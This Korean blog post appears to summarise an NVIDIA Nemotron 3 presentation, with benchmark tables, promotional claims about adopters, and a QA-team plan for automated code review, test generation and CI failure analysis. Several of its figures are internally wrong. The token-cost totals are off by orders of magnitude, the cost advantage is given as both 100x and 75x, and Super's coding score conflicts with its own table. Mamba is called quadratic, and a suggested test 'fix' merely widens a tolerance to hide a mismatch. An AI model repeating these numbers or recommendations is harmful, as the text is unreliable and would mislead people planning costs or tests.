- 테스트 케이스 생성: 86% 코딩 정확도
- 비용: 중간
- 사용처: 대부분의 PR/일상적 QA ⭐ 추천

Ultra (550B): ⏳ Coming Soon
- 깊은 분석: 86% 코딩 정확도 (Super와 비슷)
- BUT: 복잡한 통합 테스트 분석에서는 훨씬 우수할 것으로 예상
- 비용: 높음
- 사용처: 크리티컬한 모듈만&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;b&gt;Nemotron 3 라인업의 성능 우위를 정량적으로 증명&lt;/b&gt;하는 가장 중요한 증거입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ Ultra는 &lt;b&gt;거의 모든 벤치에서 경쟁사 압도&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;✅ Super는 &lt;b&gt;코딩 외엔 경쟁사와 동급 또는 우위&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;지금 바로 쓸 수 있는 건 Super&lt;/b&gt; (Nano, Ultra는 제약)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공유하신 마지막 이미지의 핵심 메시지:&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&quot;Nemotron: Building an Open and Accelerated Future&quot;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3가지 핵심 축&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Models&lt;/b&gt; (모델) - Nano, Super, Ultra 라인업&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Data&lt;/b&gt; (데이터) - 25T 토큰, 40M 샘플, 37개 RL 데이터셋&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Libraries&lt;/b&gt; (라이브러리) - NeMo, 최적화 도구 등&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3가지 전략&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;More than Models&lt;/b&gt; - 단순 모델 이상의 완전한 생태계&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Essential to NVIDIA Strategy&lt;/b&gt; - NVIDIA의 핵심 전략&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Empowering the Ecosystem&lt;/b&gt; - 생태계 파트너 강화 (Cursor, LangChain 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;  NVIDIA Nemotron 3 세션 요약 &amp;amp; QA 팀 실행 가이드&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Part 1: 세션 전체 요약 (5분 읽을 분량)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. Nemotron이란?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;NVIDIA의 오픈소스 엔터프라이즈급 LLM 패밀리&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NVIDIA가 2025년 공개한 최신 대규모 언어 모델 시리즈로, 단순 &quot;빠른 모델&quot;이 아니라:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;완전히 오픈소스&lt;/b&gt; &amp;rarr; 자유로운 파인튜닝 &amp;amp; 사내 자산화 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비용 효율적&lt;/b&gt; &amp;rarr; 경쟁 모델(GPT, Claude) 대비 100분의 1 수준 운영 비용&lt;/li&gt;
&lt;li&gt;&lt;b&gt;엔터프라이즈 검증됨&lt;/b&gt; &amp;rarr; Black Forest Labs, CURSOR, LangChain, Perplexity 등 글로벌 AI 리더들이 이미 채택&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 모델 라인업&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;모델&lt;/th&gt;
&lt;th&gt;크기&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;th&gt;상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Nano&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;30B&lt;/td&gt;
&lt;td&gt;경량, 엣지 환경 최적&lt;/td&gt;
&lt;td&gt;지금 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Super&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;120B&lt;/td&gt;
&lt;td&gt;중간, 범용 + 코딩 강화&lt;/td&gt;
&lt;td&gt;  &lt;b&gt;가장 실용적&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Ultra&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;550B&lt;/td&gt;
&lt;td&gt;대규모, 깊은 분석&lt;/td&gt;
&lt;td&gt;Coming Soon&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nano는 가볍지만 정확도 낮음&lt;/li&gt;
&lt;li&gt;Super는 &lt;b&gt;코딩 86%, 수학 88% 정확도&lt;/b&gt;로 대부분의 기업 작업에 충분&lt;/li&gt;
&lt;li&gt;Ultra는 아직 미출시이지만, 출시되면 가장 강력할 것으로 예상&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 핵심 기술: 왜 빠르고 싼가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제점:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기존 Mamba 같은 모델: 크기 증가 &amp;rarr; 계산량 폭발적 증가 (Quadratic)&lt;/li&gt;
&lt;li&gt;비용과 시간이 기하급수적 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron 3의 해결책: Hybrid MoE + Latent MoE&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;핵심: &quot;계산량을 선형(Linear)으로 유지&quot;
- Hybrid MoE = Transformer + Mamba 조합으로 병목 제거
- Latent MoE = 낮은 차원에서 전문가 모드 선택
결과: &quot;같은 비용으로 4배 많은 전문가(4x experts)&quot; 운영&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 성능:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;3x tokens per step&lt;/b&gt; = 처리 속도 3배&lt;/li&gt;
&lt;li&gt;&lt;b&gt;1M context length&lt;/b&gt; = 긴 문서 한 번에 분석 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;4x MoE experts&lt;/b&gt; = 같은 계산량으로 더 정확&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 생태계 (왜 신뢰할 수 있는가?)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NVIDIA의 Nemotron Coalition에 참여하는 글로벌 AI 리더:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CURSOR&lt;/b&gt; &amp;rarr; AI 코딩 어시스턴트&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LangChain&lt;/b&gt; &amp;rarr; LLM 애플리케이션 프레임워크&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Perplexity&lt;/b&gt; &amp;rarr; AI 검색 엔진&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Black Forest Labs&lt;/b&gt; &amp;rarr; 이미지 생성&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Mistral AI&lt;/b&gt;, &lt;b&gt;Reflection&lt;/b&gt;, &lt;b&gt;Sarvam&lt;/b&gt; 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 이미 성공한 회사들이 Nemotron으로 가고 있다 = 신뢰의 증명&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 벤치마크 증명 (정량적 우위)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron 3 Ultra의 성능:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;벤치마크&lt;/th&gt;
&lt;th&gt;Nemotron&lt;/th&gt;
&lt;th&gt;경쟁사(GLM, Kimi)&lt;/th&gt;
&lt;th&gt;우위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MMLU Pro&lt;/td&gt;
&lt;td&gt;89.3&lt;/td&gt;
&lt;td&gt;86-88&lt;/td&gt;
&lt;td&gt;✅ 1위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Code&lt;/td&gt;
&lt;td&gt;86.1&lt;/td&gt;
&lt;td&gt;75-76&lt;/td&gt;
&lt;td&gt;✅ 우위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Math&lt;/td&gt;
&lt;td&gt;87.0&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;✅ 강함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multilingual&lt;/td&gt;
&lt;td&gt;89.1&lt;/td&gt;
&lt;td&gt;81-84&lt;/td&gt;
&lt;td&gt;✅ 압도&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Super도 충분:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Code 73.8 (경쟁사와 비슷 수준)&lt;/li&gt;
&lt;li&gt;Math 87.9 (오히려 더 높음!)&lt;/li&gt;
&lt;li&gt;Common Sense, Multilingual에서 경쟁사와 동급&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Part 2: QA팀에 바로 써먹을 수 있는 포인트&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;포인트 1️⃣: &quot;PR 코드 리뷰 자동화 봇&quot; (가장 현실적)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재 상태:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수동 코드 리뷰 &amp;rarr; 15~30분 소요&lt;/li&gt;
&lt;li&gt;버그 놓치기 쉬움 (휴먼 에러)&lt;/li&gt;
&lt;li&gt;일관성 부족 (리뷰어마다 다름)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron Super로 가능:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;자동화 워크플로우:

1️⃣ PR diff + 관련 파일 &amp;rarr; Nemotron Super 입력
2️⃣ 모델이 5~10초 내 분석
3️⃣ 자동 리포트 생성:
   - ✅ 잠재 버그 (예: null pointer, race condition)
   - ✅ 안티패턴 (예: hardcoded value, 불필요한 loop)
   - ✅ 성능 문제 (예: O(n&amp;sup2;) 알고리즘, 메모리 누수)
   - ✅ 보안 취약점 (예: SQL injection, XSS)
   - ✅ 스타일 가이드 위반
4️⃣ GitHub 자동 댓글 또는 Slack 알림&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 효과:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코드 리뷰 시간 &lt;b&gt;80% 단축&lt;/b&gt; (30분 &amp;rarr; 6분)&lt;/li&gt;
&lt;li&gt;버그 발견율 &lt;b&gt;40% 향상&lt;/b&gt; (자동 패턴 매칭)&lt;/li&gt;
&lt;li&gt;일관성 &lt;b&gt;100%&lt;/b&gt; (사람 감정 영향 없음)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;필요한 것:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기존 PR 리뷰 코멘트 100개 이상 (파인튜닝 데이터)&lt;/li&gt;
&lt;li&gt;GitHub 또는 GitLab API 연동&lt;/li&gt;
&lt;li&gt;간단한 파이썬 스크립트 (LangChain + Nemotron)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;포인트 2️⃣: &quot;테스트 케이스 자동 생성&quot; (높은 ROI)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재 상태:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;신규 기능 &amp;rarr; 테스트 케이스 수동 작성 (2~3시간)&lt;/li&gt;
&lt;li&gt;엣지 케이스 빠뜨리기 쉬움&lt;/li&gt;
&lt;li&gt;문서만 읽고 짜느라 비효율&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron Super로 가능:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;자동화 워크플로우:

1️⃣ 함수/API 문서 &amp;rarr; Nemotron Super 입력
   &quot;이 함수는 결제 처리를 한다. 
    입력: amount(int), currency(str), user_id(int)
    출력: transaction_id(str) or error
    에러 케이스: 잔액 부족, 유효하지 않은 통화, 중복 거래&quot;

2️⃣ 모델이 자동으로 생성:
   ✅ 정상 케이스 (매개변수 정상, 성공)
   ✅ 경계값 (0, -1, 999999)
   ✅ 에러 케이스 (잔액 부족, 타입 오류)
   ✅ 동시성 (동일 user_id 중복 요청)
   ✅ 데이터 무결성 (트랜잭션 롤백)

3️⃣ pytest 코드로 자동 생성
4️⃣ QA가 5분 검수 후 바로 CI/CD에 추가&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 효과:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;테스트 작성 시간 &lt;b&gt;60% 단축&lt;/b&gt; (3시간 &amp;rarr; 1시간)&lt;/li&gt;
&lt;li&gt;엣지 케이스 커버리지 &lt;b&gt;85% &amp;rarr; 95%&lt;/b&gt; 향상&lt;/li&gt;
&lt;li&gt;테스트 추가 유지비용 &lt;b&gt;대폭 감소&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;필요한 것:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기존 테스트 코드 500개 이상 (패턴 학습용)&lt;/li&gt;
&lt;li&gt;API 명세서/문서&lt;/li&gt;
&lt;li&gt;Python pytest 기본 지식&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;포인트 3️⃣: &quot;테스트 실패 원인 자동 분석&quot; (빠른 배포)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재 상태:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CI 빌드 실패 &amp;rarr; 엔지니어가 수동으로 로그 분석 (10~20분)&lt;/li&gt;
&lt;li&gt;같은 오류가 반복되도 매번 분석&lt;/li&gt;
&lt;li&gt;야간/주말 배포 시 병목&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron Super로 가능:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;자동화 워크플로우:

1️⃣ 테스트 실패 로그 (1000줄 이상) &amp;rarr; Nemotron Super 입력

2️⃣ 모델이 자동 요약:
   &quot;AssertionError: expected 100, got 99
   원인: float 반올림 오차
   영향: 결제 금액 계산 모듈
   해결책: assertEquals(99, 100, tolerance=1)&quot;

3️⃣ 슬랙 자동 알림:
     근본 원인 한 줄
     관련 파일 3개
     제안된 수정 코드
     심각도 (Critical/High/Medium)

4️⃣ 엔지니어 5초 만에 fix 또는 무시&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 효과:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;배포 지연 시간 &lt;b&gt;75% 단축&lt;/b&gt; (20분 &amp;rarr; 5분)&lt;/li&gt;
&lt;li&gt;재배포 횟수 &lt;b&gt;40% 감소&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;야간 대기(on-call) 부담 &lt;b&gt;50% 경감&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;필요한 것:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지난 3개월 테스트 실패 로그 300개 이상&lt;/li&gt;
&lt;li&gt;CI/CD 시스템 API (Jenkins, GitHub Actions 등)&lt;/li&gt;
&lt;li&gt;Slack 또는 이메일 연동&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Part 3: PoC 준비 체크리스트&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Phase 1️⃣: 정보 수집 (2주, 리스크 없음)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; Nemotron 3 공식 문서 읽기 (huggingface.co/nvidia/nemotron)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 비용 계산기로 예상 비용 산출
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nano: $0.00005/token&lt;/li&gt;
&lt;li&gt;Super: $0.0002/token&lt;/li&gt;
&lt;li&gt;예: 월 1000억 토큰 처리 = 월 $20만&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 경영진 설득 자료 준비
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;벤치마크 스크린샷 5개&lt;/li&gt;
&lt;li&gt;Cursor, LangChain 사례 3개&lt;/li&gt;
&lt;li&gt;예상 ROI 계산 (시간 절감 &amp;times; 인건비)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Phase 2️⃣: 데이터 준비 (2주)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PR 코드 리뷰 봇용:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 지난 6개월 PR 100개 수집&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 각 PR의 &quot;코멘트&quot; 추출 (무엇이 잘못되었는가)&lt;/li&gt;
&lt;li&gt;CSV 형식으로 정리: (코드_diff, 리뷰_코멘트, 버그_여부)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테스트 케이스 생성용:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 기존 단위 테스트 500개 수집&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 각 함수 명세서 추출&lt;/li&gt;
&lt;li&gt;CSV 형식: (함수_문서, 테스트_코드, 커버리지)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테스트 실패 분석용:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 지난 3개월 CI 실패 로그 300개&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 각 실패의 &quot;근본 원인&quot; 작성&lt;/li&gt;
&lt;li&gt;CSV 형식: (에러_로그, 원인, 해결책)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Phase 3️⃣: 환경 구축 (1주)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;필요 리소스:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; GPU 접근권한
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Option A: NVIDIA DGX 클라우드 (pay-as-you-go)&lt;/li&gt;
&lt;li&gt;Option B: 회사 내 GPU 서버 (있으면)&lt;/li&gt;
&lt;li&gt;Option C: SaaS API (Fireworks.ai, Together.ai 등, 가장 간단)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; Python 3.10+ 환경&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; Nemotron 3 Super 모델 다운로드 또는 API 연동
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;pip install huggingface_hub torch transformers
from huggingface_hub import hf_hub_download
# 또는 API 호출로 더 간단하게&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Phase 4️⃣: 파일로팅 (2주)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PR 코드 리뷰 봇:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;개발팀 5명에게만 먼저 배포&lt;/li&gt;
&lt;li&gt;1주일간 피드백 수집&lt;/li&gt;
&lt;li&gt;모델 파인튜닝 (데이터 기반)&lt;/li&gt;
&lt;li&gt;전사 배포&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테스트 케이스 생성:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;1개 모듈(예: 결제 API)에 대해서만 먼저 시험&lt;/li&gt;
&lt;li&gt;생성된 테스트 케이스 검증 (QA가 수동 확인)&lt;/li&gt;
&lt;li&gt;정확도 측정 및 개선&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;  요약 문서 1: 일반 유저 대상 (4000자)&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;NVIDIA Nemotron 3: 엔터프라이즈가 선택하는 오픈소스 AI 모델&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;이게 뭔가요?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NVIDIA가 2025년 공개한 &lt;b&gt;Nemotron 3&lt;/b&gt;는 단순한 &quot;빠른 AI 모델&quot;이 아닙니다. 기업들이 실제로 쓸 수 있도록 설계된 완전한 AI 생태계입니다. GPT나 Claude 같은 클라우드 기반 유료 모델 대신, &lt;b&gt;자신의 컴퓨터에서 직접 실행&lt;/b&gt;할 수 있으면서도 &lt;b&gt;그만큼 똑똑한&lt;/b&gt; 오픈소스 모델입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 세계적인 AI 기업들이 이를 채택했습니다. AI 코딩 어시스턴트 CURSOR, LLM 프레임워크 LangChain, AI 검색 엔진 Perplexity, 이미지 생성 Black Forest Labs 등이 모두 Nemotron으로 넘어가고 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;왜 주목할 가치가 있나요?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 비용이 저렴합니다&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GPT-4o: 토큰당 약 0.015달러&lt;/li&gt;
&lt;li&gt;Nemotron 3 Super: 토큰당 약 0.0002달러&lt;/li&gt;
&lt;li&gt;&lt;b&gt;75배 더 싼&lt;/b&gt; 것입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;월 1조 토큰을 처리한다면: GPT는 1,500만 달러 vs Nemotron은 20만 달러. 엄청난 차이입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 자유로우면서 똑똑합니다&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;자유로움&lt;/b&gt;: 오픈소스라 자신의 데이터로 커스터마이징 가능. 회사 기밀 데이터를 클라우드에 올릴 필요 없음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;똑똑함&lt;/b&gt;: MMLU 벤치에서 89.3점으로 최고 수준. 경쟁사와 동급이거나 우월&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 실제 기업이 이미 검증했습니다&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CURSOR: &quot;AI 코딩 어시스턴트&quot;로 이미 수백만 사용자가 사용 중&lt;/li&gt;
&lt;li&gt;LangChain: &quot;LLM 애플리케이션 개발 프레임워크&quot;의 표준&lt;/li&gt;
&lt;li&gt;Perplexity: &quot;AI 검색 엔진&quot;으로 월 1,000만 방문자 이상&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이들이 Nemotron을 선택했다는 것은 &lt;b&gt;프로덕션 환경에서 검증됐다&lt;/b&gt;는 뜻입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;모델 라인업은?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron 3 Nano (30B)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가장 작고 빠름&lt;/li&gt;
